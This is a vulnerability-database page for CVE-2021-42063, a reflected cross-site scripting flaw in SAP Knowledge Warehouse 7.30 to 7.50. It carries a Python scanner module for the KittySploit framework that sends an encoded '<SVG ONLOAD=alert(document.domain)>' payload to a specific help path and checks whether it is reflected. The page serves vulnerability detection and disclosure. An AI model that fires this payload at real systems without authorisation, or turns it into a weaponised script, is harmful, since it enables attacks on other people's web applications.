SAP Knowledge Warehouse <=7.5.0 - Cross-Site Scripting Detection
| Reporter | Title | Published | Views | Family All 20 |
|---|---|---|---|---|
| Exploit for Cross-site Scripting in Astaro Security_Gateway_Software | 30 Apr 201915:15 | – | githubexploit | |
| Exploit for Cross-site Scripting in Sap Knowledge_Warehouse | 28 Apr 202406:09 | – | githubexploit | |
| CVE-2021-42063 | 14 Dec 202116:15 | – | attackerkb | |
| CVE-2021-42063 | 27 Apr 202309:58 | – | circl | |
| SAP Knowledge Warehouse 跨站脚本漏洞 | 14 Dec 202100:00 | – | cnnvd | |
| CVE-2021-42063 | 14 Dec 202115:44 | – | cve | |
| CVE-2021-42063 | 14 Dec 202115:44 | – | cvelist | |
| CVE-2021-42063 | 11 Oct 202617:09 | – | kitploit | |
| Vulnerabilities fixed in SAP products | 14 Dec 202100:00 | – | ncsc | |
| Vulnerabilities fixed in SAP products | 14 Sep 202200:00 | – | ncsc |
10
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""SAP Knowledge Warehouse 7."""
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'SAP Knowledge Warehouse <=7.5.0 - Cross-Site Scripting Detection',
'description': 'SAP Knowledge Warehouse 7.30, 7.31, 7.40, and 7.50 contain a reflected cross-site scripting vulnerability via the usage of one SAP KW component within a web browser.',
'author': ['KittySploit Team'],
'severity': 'medium',
'tags': ['web', 'scanner', 'cve', 'cve2021', 'sap', 'xss', 'seclists', 'packetstorm', 'vkev', 'vuln'],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 1,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.3,
'value': 1.0,
'requires': {
'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{
'capability': 'admin_surface',
'from_detail': '',
},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': ['auxiliary/scanner/http/login_page_detector'],
},
},
'references': [
'https://seclists.org/fulldisclosure/2022/Mar/32',
'https://packetstormsecurity.com/files/166369/SAP-Knowledge-Warehouse-7.50-7.40-7.31-7.30-Cross-Site-Scripting.html',
'https://twitter.com/MrTuxracer/status/1505934549217382409',
'https://nvd.nist.gov/vuln/detail/CVE-2021-42063',
'http://packetstormsecurity.com/files/166369/SAP-Knowledge-Warehouse-7.50-7.40-7.31-7.30-Cross-Site-Scripting.html',
],
'cve': 'CVE-2021-42063',
}
def run(self):
r = self.http_request(method="GET", path='/SAPIrExtHelp/random/SAPIrExtHelp/random/%22%3e%3c%53%56%47%20%4f%4e%4c%4f%41%44%3d%26%23%39%37%26%23%31%30%38%26%23%31%30%31%26%23%31%31%34%26%23%31%31%36%28%26%23%78%36%34%26%23%78%36%66%26%23%78%36%33%26%23%78%37%35%26%23%78%36%64%26%23%78%36%35%26%23%78%36%65%26%23%78%37%34%26%23%78%32%65%26%23%78%36%34%26%23%78%36%66%26%23%78%36%64%26%23%78%36%31%26%23%78%36%39%26%23%78%36%65%29%3e.asp', allow_redirects=False)
if not r or r.status_code != 200:
return False
body = r.text or ""
headers = "\n".join(f"{k}: {v}" for k, v in r.headers.items())
body_all = ('<SVG ONLOAD=alert(document.domain)>', 'SAPIKS2',)
header_any = ('text/html',)
if (all(m in body for m in body_all)) and (any(m in headers for m in header_any)):
self.set_info(
severity='medium',
reason="SAP Knowledge Warehouse <=7.5.0 - Cross-Site Scripting detected",
path='/SAPIrExtHelp/random/SAPIrExtHelp/random/%22%3e%3c%53%56%47%20%4f%4e%4c%4f%41%44%3d%26%23%39%37%26%23%31%30%38%26%23%31%30%31%26%23%31%31%34%26%23%31%31%36%28%26%23%78%36%34%26%23%78%36%66%26%23%78%36%33%26%23%78%37%35%26%23%78%36%64%26%23%78%36%35%26%23%78%36%65%26%23%78%37%34%26%23%78%32%65%26%23%78%36%34%26%23%78%36%66%26%23%78%36%64%26%23%78%36%31%26%23%78%36%39%26%23%78%36%65%29%3e.asp',
)
return True
return False
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
28 Jul 2026 11:27Current
7High risk
Vulners AI Score7
CVSS 24.3
CVSS 3.16.1
EPSS0.23396